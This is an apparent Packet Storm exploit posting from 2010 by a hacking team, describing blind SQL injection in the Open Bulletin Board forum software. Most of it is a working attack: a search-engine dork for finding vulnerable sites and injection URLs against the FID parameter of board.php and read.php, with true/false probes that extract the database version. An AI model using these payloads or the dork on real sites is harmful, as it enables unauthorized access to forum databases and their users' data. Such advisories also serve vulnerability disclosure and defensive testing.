Open Bulletin Board Blind SQL Injection

2010-02-08T00:00:00
ID PACKETSTORM:86023
Type packetstorm
Reporter AtT4CKxT3rR0r1ST
Modified 2010-02-08T00:00:00

Description

                                        
                                            `  
  
Open Bulletin Board Multiple Blind Sql Injection Vulnerability  
==============================================================  
  
####################################################################  
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]  
.:. Team : Sec Attack Team  
.:. Home : www.sec-attack.com/vb  
.:. Script : Open Bulletin Board  
.:. Bug Type : Blind Sql Injection  
.:. Dork : intitle:"Powered by Open Bulletin Board"  
  
####################################################################  
  
===[ Exploit ]===  
  
www.site.com/board.php?FID=[Blind Injection]  
www.site.com/read.php?FID=[Blind Injection]  
  
  
www.site.com/board.php?FID=3+and+1=1 >>> True  
www.site.com/board.php?FID=3+and+1=2 >>> False  
www.site.com/board.php?FID=3+and+substring(@@version,1,1)=5 >>> True  
www.site.com/board.php?FID=3+and+substring(@@version,1,1)=4 >>> False  
  
  
www.site.com/read.php?FID=3+and+1=1 >>> True  
www.site.com/read.php?FID=3+and+1=2 >>> False  
www.site.com/read.php?FID=3+and+substring(@@version,1,1)=5 >>> True  
www.site.com/read.php?FID=3+and+substring(@@version,1,1)=4 >>> False  
  
####################################################################  
  
Greats T0: HackxBack & Zero Cold & All My Friend & All Member Sec Attack  
________________________________  
Hotmail: Free, trusted and rich email service. Get it now.<https://signup.live.com/signup.aspx?id=60969>  
  
  
  
`